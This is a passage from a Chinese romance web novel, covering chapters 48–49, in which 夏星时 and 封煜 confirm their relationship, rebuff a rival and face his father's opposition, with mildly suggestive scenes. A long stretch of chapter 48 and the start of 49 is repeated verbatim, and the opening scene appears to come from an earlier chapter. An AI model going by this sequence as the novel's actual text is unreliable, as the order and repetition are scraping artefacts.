他浅笑着,眉眼弯起,精致的五官带着生气蓬勃的纯净,眼下的泪痣却带着一丝迷人的蛊惑。
像是迷途中的指引者,又似将人缠进深渊的魔鬼。
封煜喉结滚动,声音发紧:“……看行程吧。”
和夏星时相处,必须时刻警惕,稍不留神就会迷失自我,封煜又开始蠢蠢欲动了,好像当玩具也没什么大不了。
只要自己控制一点,不要随便爱上夏星时,只享受夏星时对玩具的好不就行了?
封煜纠结、挣扎了一整个饭局,眼神在夏星时注意不到的时候疯狂变换,最后也没得出一个结果。
他看了看时间,发现已经不早了:“我送你回学校。”
夏星时推辞:“不用,我打个车就行。哥你也快回家吧,明天还要上班呢。”
封煜穿上外套,拉住夏星时:“走吧,别让夏元岑蛐蛐我了。”
夏星时双眼很亮:“那我不客气了。”
封煜把车停在了地下车库,可以坐电梯下去,走出电梯快到车子的时候,却撞见了一个意外的人。
沈江尘从车上下来便注意到了夏星时。
不提爱慕,夏星时只要站在那,周边的景色便会沦为模糊的背景,所有的焦点与视线都只会落在夏星时身上。
他朝着夏星时的方向走来,提前出声:“星时。”
夏星时顿了一下,车头朝声音的方向望去,下意识露出一个笑:“尘哥?好巧啊。”
“是,好巧。”沈江尘迈步上前,“挺久没见了,感觉都陌生了。”
他先跟夏星时交流,随后才看向夏星时身旁的封煜,他捕捉到对方身上传来的隐晦敌意。
沈江尘没太在意,依旧露出得体的笑容:“你们两个的组合,太让人意外了。”
“是我有点事麻烦封哥,”夏星时主动接下话题,“尘哥你来谈生意?”
封煜看着两人愉快交谈眼神很冷,他站在一旁不语,只默默的用智能钥匙开启车子,不远处车灯闪烁,很是显眼。
夏星时注意到,语速微微加快:“尘哥你忙,我也急着回学校,咱们有空下次再聊吧。”
沈江尘点头温声说:“有空来家里看看爷爷,他挺想你的。还有到地方给我发个消息。”
“好,有空一定!”夏星时应承,“尘哥拜拜。”
话音刚落,封煜便迈步,夏星时脚步加快跟上去,坐上副驾。
封煜从另一侧坐上驾驶位,抬头看见沈江尘依旧站在原地,似乎有目送夏星时离开的意思。
他无端的烦躁,习惯性的想要扯领带,手搭上去的时候却发现今天根本没系,一时间,这只手竟有些无处安放了。
偏头看夏星时,又看见夏星时在跟沈江尘挥手。
封煜忽然俯身过去。
“怎么不系安全带。”他声音低哑,尽力维持着平静,自然的帮夏星时系好安全带。
他靠的太近,夏星时被迫近距离看清封煜的脸。眉弓立体,眼睛深邃,鼻梁高挺,整张脸有种危险的侵略性。
很,性感的一张脸。夏星时脑海中蹦出这么形容。
车子启动,封煜从沈江尘身边经过毫不停留,两人的目光有一瞬间的接触,针锋相对。
封煜承认,在俯身靠近夏星时那一刻,他卑劣的占有欲得到满足。
完结&番外
第48章
“嘶——”
毫无预兆的头槌让封煜深感意外,但封煜仅停顿一秒,便抬手轻揉了揉夏星时脑袋。
“别伤害自己。”
至于夏星时说的什么喜欢自己。
说实话,夏星时今天说了很多次喜欢,每一次,封煜都控制不住的生出憧憬和隐秘的窃喜,但理智告诉他——怎么可能呢?
甜言蜜语不过是夏星时戏耍玩具的小手段罢了。
夏星时紧紧揪着封煜的衣领,可面对封煜坦然眼神后,又深感无力。
此非战之罪也,敌人有思想钢印,非人力可敌!
夏星时逐渐卸了力道,垂头丧气。
昂贵的衬衫在刚刚热烈的吻中已经被夏星时揉搓的不像样子,此刻更是凌乱,衣领松散敞开,露出满是张力的肌肉。夏星时自己也不复整齐。
亲个嘴像打了一架。
夏星时不想理封煜,可转身生气两秒,又不情不愿的转过来往封煜怀里扑。
还是喜欢。
他凑上去,啄吻封煜。
没事的,只不过是信息传递过程出现的常见缺失而已。他喜欢我,我喜欢他,我们还是两情相悦。即便计算过程出现了一定的失误,但结果没有问题。
封哥只是因为家庭因素缺少安全感、不相信爱情,所以给自己裹上了一层土壳。
封哥在这种情况下依旧勇敢求爱,而我却总想着暴力撕开他的壳子,应该像春雨一样小心冲开那层土,然后给他新的安全感。
是我太急了。
夏星时这么想着,心情很沉重。
坏了,恋爱脑竟是我自己。
封煜眼底闪过一抹惊奇,夏星时的吻……意外的青涩,身体的姿态也充满紧张。
也对,哪里有玩具需要夏星时用身体亲自调教,双胞胎也没这待遇啊。
而我是夏星时最喜欢的玩具,我不一样。
亲吻的主导权不知何时又被封煜夺走,但这一次封煜很克制,那些汹涌的风暴被藏起来,更温柔更文雅,也让夏星时愈加沉迷。
唇瓣分离之时,夏星时本能的追逐,几次啄吻后他才后知后觉的清醒过来。
年轻人血气方刚,亲个嘴儿就举旗。
他轻抿薄唇,唇上残存着酥麻感。两人的吐息在静谧的夜中交缠升温。
夏星时睫毛轻颤,眸光潋滟迷离,潮红晕至眼尾,精致绮丽面容染上靡丽。
他微微偏头,去寻觅更多呼吸的空间,修长雪白的脖颈毫无防备暴露出来,稀薄的阴影落下,衬得锁骨多出几分脆弱。
像是邀请。
脖颈的皮肤被温热的吻贴上,贪婪又克制,炙热的气息沿着颈线游移,激起细小的战栗。
夏星时紧紧抓着封煜的手臂,硬是克制住那股不适没有后退。
我得给他安!全!感!.
“我们好像跟丢了。”徐渝三两口解决一个甜筒,又鲸吞一杯奶茶,“话说我们为什么要跟他们啊?在酒店见到人确认不是骗子,不是就没我们事了吗?”
袁易和杨程忽然顿住,两人放下奶茶,陷入沉思。
是呢,为什么非要跟上来?
商晔靠在栏杆上,仰望星空,感叹:“人类就是样的啦,永不停歇的求知欲和窥探欲。”
杨程蹦起来:“你他妈少来!是你提供的酒店信息!是你非让我们蹲守!是你带着我们跟踪!是你是你就是你!”
商晔歪头:“聪明勇敢小哪吒?”
徐渝纠正:“是我们的英雄小哪吒~”
商晔伸手:“哦,徐同学还真是博览群书呢。”
徐渝憨笑回握:“嘿嘿,不敢当不敢当。”
杨程劈开两人,怒斥商晔:“你拿我们当枪使!”
商晔装模作样剁了下脚,满脸的沉痛:“还不是那狗皇帝势大,某一人冲锋,必将死无葬身之地。你们就不一样了,你们只是怕星时被骗,关心她而已,星时还能生你们气?而且你们可是好兄弟!”
杨程嘻嘻:“有道理。”
袁易精准发现华点:“你早就星时男朋友是封总?”
杨程不嘻嘻。
商晔摸了摸下巴,有些迟疑的说:“我觉得他们可能还没有确认关系。”
这并不是分析,而是来自于艺术家的直觉。
但袁易三人根本不信他。
开什么玩笑,小手牵的都快焊上了,浑身直冒粉红泡泡,这还能没确认关系?不可能绝对不可能.
三天两夜的旅行除了没能完成终极目标以外,夏星时玩的是真开心。
不就是封哥抢在自己之前证明出爱情、不就是和封哥延续了畸形的恋爱关系、不就是封哥依旧拥有思想钢印……
不是,这思想钢印到底哪来的?
一直到旅行结束,夏星时依旧搞不清问题的源头。难道真的只是因为他长了一张看起来很会骗人的脸?
车子下了高速,熟悉的街景出现在夏星时眼前,最后缓缓停在楼下。
夏星时解开安全带下车,关上车门后他反应过来,看向封煜:“你要回公司?”
“嗯,有点事要处理。”封煜锁车,走到夏星时身边。
夏星时轻皱眉头:“行了,不用送我上楼。”
封煜顿在原地,似乎有些无措。
夏星时熟练的把自己塞进封煜怀里,微微仰起头,捧着后者那张帅脸微微眯眼。
好吧,他也喜欢以貌取人。
夏星时:“晚上还回来吗?”
封煜搂着夏星时的腰轻轻点头。
其实不是什么大事,还是港城那边遗留的问题,算是家事,周枫这个“外人助理”实在难断家务事,快从周枫变周疯了,为了可持续性的竭泽而渔,封煜决定抽空去救救助理。
不过倒也奇怪,他只是出去度假又不是死了,是谁给他们的勇气敢出来蹦跶?
夏星时跟封煜温存了一会儿,知道必须放人走了:“别熬夜,早点回来。”
封煜不想走了。
他试探的低头,夏星时没有躲,即将再进一步的时候,一道声音忽然响起——
“星时。”
沈江尘开着车门,站在车边,他身姿挺拔,浑身都紧绷着。
夏星时看过去,眉头皱起。
封煜抿唇,手臂紧了紧,随后不情不愿松开手。
合格的玩具,不可以打扰……
夏星时瞪了封煜一眼,愤怒的拉起封煜的手。让你撒手了吗!
封煜心底升起雀跃。就说青梅竹马退版本了吧。
沈江尘走近,冷冷的瞥了眼封煜,然后转向夏星时,声音平静:“元岑和叔叔知道吗?”
夏星时头顶冒出一个问号。
知不知道的跟你有关你吗?
诚然,沈家和夏家的关系不错,但还没亲密到需要宝贝感情状况,就算是沈爷爷这时候也应该转移话题,或者干脆装没看见,后面再隐晦的跟他爸提提。
这是家事。
夏星时皱眉:“沈江尘,你有点越界了。”
“我越界?”沈江尘微愣,而后忽然笑了,“我就太有边界了,才会让这个人趁虚而入。”
封煜皱眉,你当不上玩具还怪别的玩具努力?我要是能和夏星时青梅竹马,绝对不可能沦落到沈江尘这种境地,享受那么好的资源沦落到做败犬,废物。
封煜完全不受沈江尘的影响,现在他得到的一切宠爱都是凭借自己的努力和汗水。
夏星时有点生气了,表情冷了下来:“就算没有他我也不会喜欢你。”
他对沈江尘一点感觉都没有。
“对!我知道你未必会喜欢我,可你也不该喜欢上别人!”沈江尘声调猛地拔高,眼圈发红。
你是我的月亮,怎么能去照耀别人!
封煜面露沉思。
沈江尘意识到自己的失态,深呼吸,声线微颤:“我没想过逼你,我以为我们有的是时间,明明是我们先……”
夏星时平静的打断他:“我大哥说你很自我,当时我不明白,现在我懂了。”
“你不是爱我,你只是觉得我属于你。”
夏星时眼神里满是失望。
所以你会听见相似的声音毫不顾忌的抢下来做替声;所以就算被发现也不觉的自己有错,错的反而是“被发现”。
夏星时直视沈江尘:“我现在不属于你,所以你要像当年摔碎那颗水晶球一样摔碎我吗?”
沈江尘脸上闪过一丝狼狈的慌乱,他避开夏星时的眼神,声音艰涩:“那不一样。”
夏星时沉默片刻,忽然说:“当年那颗水晶球原本就是送给你的。”
沈江尘猛地抬头。
夏星时拉着封煜越过沈江尘。
沈江尘下意识伸手去拉夏星时,这一次夏星时直接避开,沈江尘只抓住冰凉的空气。
他愣愣的看着自己的掌心,什么都没有.
夏星时一怒之下回到家门口才恢复理智,“哥,你回公司吧,我静静。”
他撒手,结果没撒开。
“嗯?”
他扭头,只见封煜目光灼灼。
“真的吗?”封煜声音发颤,身体紧绷,浑身写满了紧张,“……喜欢我。”
他感觉自己仿佛踩在棉花上,此刻比走玻璃桥刺激多了。
他看着夏星时,眼里的情与爱不再遮掩,期待着心上人的答案。
夏星时委屈:“我说了很多次喜欢你,可是你……”不信。
最后两个字被强势的拥抱压了下去。
夏星时回抱,但他依然困惑:“为什么忽然想开了。”
封煜不吱声,只一味的抱抱。
“说话!”夏星时拿出这几天练出来的气势。
封煜抿唇,超小声说:“甜言蜜语可能是迷魂幻梦,可敌人的破防无比真实。”
夏星时险些气笑。
好好好。
好想再给他一个头槌!
封煜:“可以亲吗?”
“这也要问,你前几天亲的不是挺开心吗。”夏星时小声嘀咕。
封煜顿了顿,主动坦白:“不一样……我以为是分手旅行,所有有些大胆。”
他是抱着捞够本、以后再也尝不到的心态,才那么放肆。
现在我不一样了。
我不是没有老婆的野人了。
夏星时:……
“你到底整天在想什么?!”
封煜:“你。”
满脑子都是你。
夏星时靠在墙上,下巴被轻轻抬起,男人俯身啄吻,一下又一下,温柔又深情。
封煜只亲了几口,便停下来注视夏星时,这张脸好像怎么看都看不够。
夏星时小声问:“嗯……还要工作吗?”
[咔哒——]门锁打开。
封煜下意识摇头,随后猛地意识到什么,喉结上下滚动。
在钓我。
还在钓我。
真的在钓我。
他嗓音低沉:“没有工作。”
拼尽全力,未能抵抗。
第49章 番外一日常
温暖透亮的阳光穿过窗帘缝隙,打在夏星时眼睛上,浓黑的睫毛颤了颤,随后睁开。
晨起的迷茫逐渐消退,昨夜发生的事晰的冲进脑海里。
是动作片。
“醒了?”
夏星时扭头,看见封煜坐在床边,一副西装革履的样子,看起来禁欲又文雅,像个绅士。
夏星时知道,这些都是假象,优雅衣冠下是嗜血野兽,再克制也遮掩不住的掠夺本性。
他忍着疼坐起来,被子滑落到腰际,睡衣领口大张,白皙的脖颈被青紫的吻痕覆盖,可怜兮兮的。
封煜呼吸停了片刻,喉咙吞咽,眼神变得幽深,他知道衣服下令人癫狂的风情,并一寸一寸品尝过。
夏星时轻咳一声,声音泛着哑:“哥。”
封煜靠近,夏星时抓住他的领带,往自己这边扯。
“怎么了?是不是腰疼?我把饭拿到屋里来?”封煜顺从的俯身靠过来,声音温柔的能滴出水。
夏星时摇头,用手指将领带扯开,坏心眼的说:“我现在见不得别人好好穿衣服。”
封煜抬眼,眼底的欲色如同跳动的火,眼神极具侵略性,气息充满了危险,他随手扯开衬衫最上面的扣子,声线暗哑:“不穿。”
那条被随意丢在地上,凌乱的可怜。
烈火汹涌,欲壑难填.
“有个坏消息。”
在床上厮混了一天夏星时服软了,文明社会还是应该好好穿衣服。
他的声音比早上起来时还要低,泛着一股子懒劲。
“什么?”封煜在给他的小星星按腰。
夏星时支起身体:“我爸应该是知道咱俩的事了,他要我回家。”
封煜摸腰,皱眉:“那个姓沈的太歹毒了。”
他一听就知道谁干的好事。这么耐不住性子,怪不得是败……咳,思路依赖了。
夏星时瞥了他一眼,居然微妙的猜到了封煜在想什么。
而脑电波对上的原因……
谁能想到平时那么沉默寡言的一个人,能在做的时候在他耳边叨叨叨个不停!
什么我才不会尝试把月亮拽下来,我只想捧着星星。
什么你就骗我我也爱你,你是全世界最重要的,你跟别人好也没关系,有空来找我就好。
一边拉踩别人,一边彰显自己,然后力道还很猛,咳。
冷着一张脸,看起来是个正经人,内心戏却丰富的不得了。
夏星时:“这时候就别总想着拉踩了。”
“想别的也没用,”封煜叹气,“叔叔不会同意我进门的。”
属于上一辈的恩怨从未落幕。
夏爸能接受老朋友的请求,照顾封煜这个后辈,但绝不可能把自己儿子交给封煜。
夏星时不乐意了,翻身压在封煜身上,“你什么意思,吃完打算不认账了是吧。”
“怎么会。”封煜把夏星时往上托了托,调整到一个舒服的姿势,继续给星星揉腰,“只是没必要跟家里作对。”
夏星时不想听他说话,起身要走,却又被封煜拉回来。
封煜无奈:“和男人在一起说出去本来就不好听,叔叔不同意才是正常的,更何况还是我。跟家里讲也无非是为了给我个名分,可名分又不重要,何必惹叔叔生气。”
“你跟家里关系那么好,闹僵了,你难过叔叔阿姨也伤心。”
“没关系的星时,我不要名分。”封煜轻吻夏星时,“你爱我就好。”
有些事不上秤就没事。只要封煜不要名分,那就是处地下恋情,说破天也就是夏星时年少叛逆,夏爸再不喜欢封煜也不会过度插手儿子的感情问题。
但要是带回家那就不一样。
“就跟叔叔说是玩玩。”封煜哪舍得夏星时为了他跟家里决裂。
“哪有这样的道理。”夏星时不吃他这套,往封煜胸口锤了一拳,“你还挺大度。”
夏少爷有自己的价值观,接受不了这种歪理。
封煜抓着夏星时的手亲了又亲。
夏星时抽回手又锤一拳:“恋爱脑不许霍乱军心!”
“而且你说的那像话吗,我跟老爸说玩玩他就信啊?迟早露馅,家里这关早晚要面对。”夏星时腰疼,又趴了下去。
封煜温声说:“对不起,我没想那么远。”
哪有什么迟早,星时年纪小,喜新厌旧很正常,万一以后不喜欢他了呢?那现在又何必跟家里闹。
得到一点喜欢他已经很满足了。
夏星时伸手捏住封煜脸,恶狠狠的说:“没想那么远?我看你是想的太远了!不许胡思乱想了!”
夏少爷极其霸道,连男朋友的思想都要操控。
封煜完全被可爱到了.
夏星时奉旨回家,不得逃避。
他到家的时候夏爸坐在大厅正中饮茶,一副拦路的架势。
“还知道回家,我当你在外面乐不思蜀了。”夏乘风轻哼一声。
夏星时无视老爸的阴阳怪气,一屁股坐在对面,给自己倒了杯茶:“确实。”
确实乐不思蜀。
夏乘风:……
“夏星时!你这次胡闹的是不是有点过分了!乱七八糟的关系赶紧给我断了!”夏爸啪的一下将茶杯砸在桌上,声调拔高,“你不跟他断,那就你腿断!”
京圈太上皇气势逼人,尤其还有父亲身份加成,夏星时的确被震慑到了。
但新晋恋爱脑不惧艰难险阻。
夏星时拿起茶壶给老爸添茶,“你看你,又急。”
“你非要在我热恋期的时候出来棒打鸳鸯,那结果能好么。极致的压迫只能带来绝对的反抗,这叫触底反弹。”
“本来我可能就是随便谈谈,你整这出,这段感情就从普通谈恋爱升华成对抗全世界,外部压力必定转化成感情的粘合剂啊。”
“你想想,全世界都抛弃我,但他愿意站在我身边,我还不爱死他?”
“爸,要是以后我们爱的要死要活,功劳你占六成。”
夏爸:……
啥玩意???
这不对。在夏爸的计划里,小儿子应该满口爱情然后抵死不屈,中间他需要他大手一挥展现身为父亲的权威,免不了他这个当爹的要动手胖揍儿子,最终一切定鼎。
但小儿子不按常理的出牌,让这位叱咤商界的男人再一次意识到自己的薄弱点。感情这玩意他果然把握不住。
一条川流不息的代购横跨在他和小儿子之间。
是我太古板跟不上潮流了?
夏乘风面露难色,额角流下两滴汗水,深感无力,白头发都愁的多了两根。
“叽里咕噜说啥呢!”夏爸猛拍桌面,茶水震动荡出,淋湿了桌面。
“你要是不断,这家门你也不用出了。”不管敌人如何变招,我依旧走传统流派!
八风不动,稳中求进。
夏星时:“行,我不出门,学校那边你给我请假哈。”
他拍拍手转身上楼。
夏爸看着小儿子的背影,感觉这崽子跟他憋着坏呢。
“老陆!叫人过来把夏星时那屋窗户封死。”夏乘风扯着嗓子喊,顿了顿接着说,“阳台也给我封上!”
夏星时一整天都没从自己屋里出来,他腰疼,需要缓缓。
游女士实在心疼儿子,“你非跟儿子置气,他晚上都没吃饭,饿坏了怎么办?”
夏爸:“不吃就是不饿,饿了自然就下来了。而且他那屋里一堆零食,饿不死。”
“星时不就谈个恋爱?你有什么可急的?再说了,孩子说的也不是没有道理。”游女士把水杯砸在桌上,“本来可能只是感觉来了,上头一段时间就淡了,你非要插手,加码、加沉没成本,到时候没感情了都舍不得分。而且星时已经长大了,你总这么管着他,孩子能没有逆反心理吗。”
夏爸:“不是,我管他啥了,我只是没惯着他吧。”
游女士:“小封不至于骗星时吧,低头不见抬头见的。”
游女士知道老公不是见不得星时谈男朋友,这辈子大风大浪都见过了,不至于被儿子性向吓到。这年头思想观念不开放也不行。
无非还是担心孩子吃亏嘛。
“他要是骗人我还不管了呢,让夏星时长长记性,别特么觉得世界上都是好人,那些人好是因为他姓夏!”夏爸深吸一口气,语气缓和下来,“我怕的是封煜来真的。”
夏爸眼底升起一丝忌惮:“我怕封煜跟他妈一个德行!”
游女士沉默了,叹了口气。
“明天我去院里看看周文歆。”游女士说。
夏爸不想搭茬。
这个名字,勾起他心底一个名为“恋爱脑”的原初恐惧。
“恋爱脑”这三个字,给当年年轻气盛初出茅庐的夏家太子爷带来了不可磨灭的痛苦经历。
在老爸老妈讨论育儿经的时候,夏星时刚刚吃完一份自热小火锅。
他当然不是不饿,他只是身体累,懒得动。
现在休养生息、吃饱喝足后,夏星时准备行动了。
看着被封死的窗户和阳台,夏星时只觉得老爸幼稚。
虽然他一开始的确是打算翻窗户。
毕竟上帝关上一扇门,总会为你打开一扇窗。可惜资本家又把窗户封死了。
夏星时拎着垃圾离开卧室,他没下楼反而继续向上,打开三楼的杂物间。
杂物间,屋如其名,都是杂物,不过并不乱,反而井然有序。夏星时穿过架子,找到后门。
打开后门,只见一个楼梯出现在眼前。
夏星时摇头:“百密一疏啊老爹。”
只能说这套房子老爸住的少了。
夏星时走下楼梯,撞见再花园cos园丁的陆管家。
“晚上好陆叔。”
陆管家笑眯眯:“少爷晚上好,摩托车已经加好油了。”
【“啪——”
李xx被这巴掌打蒙了。“爸,你打我?”
李老爷看着自己的手,似乎也有些愣神,但心中的怒火盖过理智。
“我打你怎么了!你为了男人要跟家里决裂!我今天要打断你腿!”】
冰冷的ai读书音让夏星时失去笑容。
夏星时:……
别暗示了陆叔,我马上跑。
陆管家:“父子没有说不开的事,你爸也是为了你好。”
按照陆管家的职业操守,他说这话有些越界。
但总不能真让这个自己看着长大的孩子吃苦吧?小少爷这辈子吃的最大的苦也只是因为蛀牙没吃到糖。
陆管家:“不管怎么说,这次你是为了他才跟家里闹了一遭,他要是什么都不做,你爸不会松口的。”
夏星时很想说自己没闹,他跟老爸是正经讲道理呢,老爸都快被他说服了。
而且封哥能做什么?上门提亲啊?《 》
完结&番外
第48章
“嘶——”
毫无预兆的头槌让封煜深感意外,但封煜仅停顿一秒,便抬手轻揉了揉夏星时脑袋。
“别伤害自己。”
至于夏星时说的什么喜欢自己。
说实话,夏星时今天说了很多次喜欢,每一次,封煜都控制不住的生出憧憬和隐秘的窃喜,但理智告诉他——怎么可能呢?
甜言蜜语不过是夏星时戏耍玩具的小手段罢了。
夏星时紧紧揪着封煜的衣领,可面对封煜坦然眼神后,又深感无力。
此非战之罪也,敌人有思想钢印,非人力可敌!
夏星时逐渐卸了力道,垂头丧气。
昂贵的衬衫在刚刚热烈的吻中已经被夏星时揉搓的不像样子,此刻更是凌乱,衣领松散敞开,露出满是张力的肌肉。夏星时自己也不复整齐。
亲个嘴像打了一架。
夏星时不想理封煜,可转身生气两秒,又不情不愿的转过来往封煜怀里扑。
还是喜欢。
他凑上去,啄吻封煜。
没事的,只不过是信息传递过程出现的常见缺失而已。他喜欢我,我喜欢他,我们还是两情相悦。即便计算过程出现了一定的失误,但结果没有问题。
封哥只是因为家庭因素缺少安全感、不相信爱情,所以给自己裹上了一层土壳。
封哥在这种情况下依旧勇敢求爱,而我却总想着暴力撕开他的壳子,应该像春雨一样小心冲开那层土,然后给他新的安全感。
是我太急了。
夏星时这么想着,心情很沉重。
坏了,恋爱脑竟是我自己。
封煜眼底闪过一抹惊奇,夏星时的吻……意外的青涩,身体的姿态也充满紧张。
也对,哪里有玩具需要夏星时用身体亲自调教,双胞胎也没这待遇啊。
而我是夏星时最喜欢的玩具,我不一样。
亲吻的主导权不知何时又被封煜夺走,但这一次封煜很克制,那些汹涌的风暴被藏起来,更温柔更文雅,也让夏星时愈加沉迷。
唇瓣分离之时,夏星时本能的追逐,几次啄吻后他才后知后觉的清醒过来。
年轻人血气方刚,亲个嘴儿就举旗。
他轻抿薄唇,唇上残存着酥麻感。两人的吐息在静谧的夜中交缠升温。
夏星时睫毛轻颤,眸光潋滟迷离,潮红晕至眼尾,精致绮丽面容染上靡丽。
他微微偏头,去寻觅更多呼吸的空间,修长雪白的脖颈毫无防备暴露出来,稀薄的阴影落下,衬得锁骨多出几分脆弱。
像是邀请。
脖颈的皮肤被温热的吻贴上,贪婪又克制,炙热的气息沿着颈线游移,激起细小的战栗。
夏星时紧紧抓着封煜的手臂,硬是克制住那股不适没有后退。
我得给他安!全!感!.
“我们好像跟丢了。”徐渝三两口解决一个甜筒,又鲸吞一杯奶茶,“话说我们为什么要跟他们啊?在酒店见到人确认不是骗子,不是就没我们事了吗?”
袁易和杨程忽然顿住,两人放下奶茶,陷入沉思。
是呢,为什么非要跟上来?
商晔靠在栏杆上,仰望星空,感叹:“人类就是样的啦,永不停歇的求知欲和窥探欲。”
杨程蹦起来:“你他妈少来!是你提供的酒店信息!是你非让我们蹲守!是你带着我们跟踪!是你是你就是你!”
商晔歪头:“聪明勇敢小哪吒?”
徐渝纠正:“是我们的英雄小哪吒~”
商晔伸手:“哦,徐同学还真是博览群书呢。”
徐渝憨笑回握:“嘿嘿,不敢当不敢当。”
杨程劈开两人,怒斥商晔:“你拿我们当枪使!”
商晔装模作样剁了下脚,满脸的沉痛:“还不是那狗皇帝势大,某一人冲锋,必将死无葬身之地。你们就不一样了,你们只是怕星时被骗,关心她而已,星时还能生你们气?而且你们可是好兄弟!”
杨程嘻嘻:“有道理。”
袁易精准发现华点:“你早就星时男朋友是封总?”
杨程不嘻嘻。
商晔摸了摸下巴,有些迟疑的说:“我觉得他们可能还没有确认关系。”
这并不是分析,而是来自于艺术家的直觉。
但袁易三人根本不信他。
开什么玩笑,小手牵的都快焊上了,浑身直冒粉红泡泡,这还能没确认关系?不可能绝对不可能.
三天两夜的旅行除了没能完成终极目标以外,夏星时玩的是真开心。
不就是封哥抢在自己之前证明出爱情、不就是和封哥延续了畸形的恋爱关系、不就是封哥依旧拥有思想钢印……
不是,这思想钢印到底哪来的?
一直到旅行结束,夏星时依旧搞不清问题的源头。难道真的只是因为他长了一张看起来很会骗人的脸?
车子下了高速,熟悉的街景出现在夏星时眼前,最后缓缓停在楼下。
夏星时解开安全带下车,关上车门后他反应过来,看向封煜:“你要回公司?”
“嗯,有点事要处理。”封煜锁车,走到夏星时身边。
夏星时轻皱眉头:“行了,不用送我上楼。”
封煜顿在原地,似乎有些无措。
夏星时熟练的把自己塞进封煜怀里,微微仰起头,捧着后者那张帅脸微微眯眼。
好吧,他也喜欢以貌取人。
夏星时:“晚上还回来吗?”
封煜搂着夏星时的腰轻轻点头。
其实不是什么大事,还是港城那边遗留的问题,算是家事,周枫这个“外人助理”实在难断家务事,快从周枫变周疯了,为了可持续性的竭泽而渔,封煜决定抽空去救救助理。
不过倒也奇怪,他只是出去度假又不是死了,是谁给他们的勇气敢出来蹦跶?
夏星时跟封煜温存了一会儿,知道必须放人走了:“别熬夜,早点回来。”
封煜不想走了。
他试探的低头,夏星时没有躲,即将再进一步的时候,一道声音忽然响起——
“星时。”
沈江尘开着车门,站在车边,他身姿挺拔,浑身都紧绷着。
夏星时看过去,眉头皱起。
封煜抿唇,手臂紧了紧,随后不情不愿松开手。
合格的玩具,不可以打扰……
夏星时瞪了封煜一眼,愤怒的拉起封煜的手。让你撒手了吗!
封煜心底升起雀跃。就说青梅竹马退版本了吧。
沈江尘走近,冷冷的瞥了眼封煜,然后转向夏星时,声音平静:“元岑和叔叔知道吗?”
夏星时头顶冒出一个问号。
知不知道的跟你有关你吗?
诚然,沈家和夏家的关系不错,但还没亲密到需要宝贝感情状况,就算是沈爷爷这时候也应该转移话题,或者干脆装没看见,后面再隐晦的跟他爸提提。
这是家事。
夏星时皱眉:“沈江尘,你有点越界了。”
“我越界?”沈江尘微愣,而后忽然笑了,“我就太有边界了,才会让这个人趁虚而入。”
封煜皱眉,你当不上玩具还怪别的玩具努力?我要是能和夏星时青梅竹马,绝对不可能沦落到沈江尘这种境地,享受那么好的资源沦落到做败犬,废物。
封煜完全不受沈江尘的影响,现在他得到的一切宠爱都是凭借自己的努力和汗水。
夏星时有点生气了,表情冷了下来:“就算没有他我也不会喜欢你。”
他对沈江尘一点感觉都没有。
“对!我知道你未必会喜欢我,可你也不该喜欢上别人!”沈江尘声调猛地拔高,眼圈发红。
你是我的月亮,怎么能去照耀别人!
封煜面露沉思。
沈江尘意识到自己的失态,深呼吸,声线微颤:“我没想过逼你,我以为我们有的是时间,明明是我们先……”
夏星时平静的打断他:“我大哥说你很自我,当时我不明白,现在我懂了。”
“你不是爱我,你只是觉得我属于你。”
夏星时眼神里满是失望。
所以你会听见相似的声音毫不顾忌的抢下来做替声;所以就算被发现也不觉的自己有错,错的反而是“被发现”。
夏星时直视沈江尘:“我现在不属于你,所以你要像当年摔碎那颗水晶球一样摔碎我吗?”
沈江尘脸上闪过一丝狼狈的慌乱,他避开夏星时的眼神,声音艰涩:“那不一样。”
夏星时沉默片刻,忽然说:“当年那颗水晶球原本就是送给你的。”
沈江尘猛地抬头。
夏星时拉着封煜越过沈江尘。
沈江尘下意识伸手去拉夏星时,这一次夏星时直接避开,沈江尘只抓住冰凉的空气。
他愣愣的看着自己的掌心,什么都没有.
夏星时一怒之下回到家门口才恢复理智,“哥,你回公司吧,我静静。”
他撒手,结果没撒开。
“嗯?”
他扭头,只见封煜目光灼灼。
“真的吗?”封煜声音发颤,身体紧绷,浑身写满了紧张,“……喜欢我。”
他感觉自己仿佛踩在棉花上,此刻比走玻璃桥刺激多了。
他看着夏星时,眼里的情与爱不再遮掩,期待着心上人的答案。
夏星时委屈:“我说了很多次喜欢你,可是你……”不信。
最后两个字被强势的拥抱压了下去。
夏星时回抱,但他依然困惑:“为什么忽然想开了。”
封煜不吱声,只一味的抱抱。
“说话!”夏星时拿出这几天练出来的气势。
封煜抿唇,超小声说:“甜言蜜语可能是迷魂幻梦,可敌人的破防无比真实。”
夏星时险些气笑。
好好好。
好想再给他一个头槌!
封煜:“可以亲吗?”
“这也要问,你前几天亲的不是挺开心吗。”夏星时小声嘀咕。
封煜顿了顿,主动坦白:“不一样……我以为是分手旅行,所有有些大胆。”
他是抱着捞够本、以后再也尝不到的心态,才那么放肆。
现在我不一样了。
我不是没有老婆的野人了。
夏星时:……
“你到底整天在想什么?!”
封煜:“你。”
满脑子都是你。
夏星时靠在墙上,下巴被轻轻抬起,男人俯身啄吻,一下又一下,温柔又深情。
封煜只亲了几口,便停下来注视夏星时,这张脸好像怎么看都看不够。
夏星时小声问:“嗯……还要工作吗?”
[咔哒——]门锁打开。
封煜下意识摇头,随后猛地意识到什么,喉结上下滚动。
在钓我。
还在钓我。
真的在钓我。
他嗓音低沉:“没有工作。”
拼尽全力,未能抵抗。
第49章 番外一日常
温暖透亮的阳光穿过窗帘缝隙,打在夏星时眼睛上,浓黑的睫毛颤了颤,随后睁开。
晨起的迷茫逐渐消退,昨夜发生的事晰的冲进脑海里。
是动作片。
“醒了?”
夏星时扭头,看见封煜坐在床边,一副西装革履的样子,看起来禁欲又文雅,像个绅士。
夏星时知道,这些都是假象,优雅衣冠下是嗜血野兽,再克制也遮掩不住的掠夺本性。
他忍着疼坐起来,被子滑落到腰际,睡衣领口大张,白皙的脖颈被青紫的吻痕覆盖,可怜兮兮的。
封煜呼吸停了片刻,喉咙吞咽,眼神变得幽深,他知道衣服下令人癫狂的风情,并一寸一寸品尝过。
夏星时轻咳一声,声音泛着哑:“哥。”
封煜靠近,夏星时抓住他的领带,往自己这边扯。
“怎么了?是不是腰疼?我把饭拿到屋里来?”封煜顺从的俯身靠过来,声音温柔的能滴出水。
夏星时摇头,用手指将领带扯开,坏心眼的说:“我现在见不得别人好好穿衣服。”
封煜抬眼,眼底的欲色如同跳动的火,眼神极具侵略性,气息充满了危险,他随手扯开衬衫最上面的扣子,声线暗哑:“不穿。”
那条被随意丢在地上,凌乱的可怜。
烈火汹涌,欲壑难填.
“有个坏消息。”
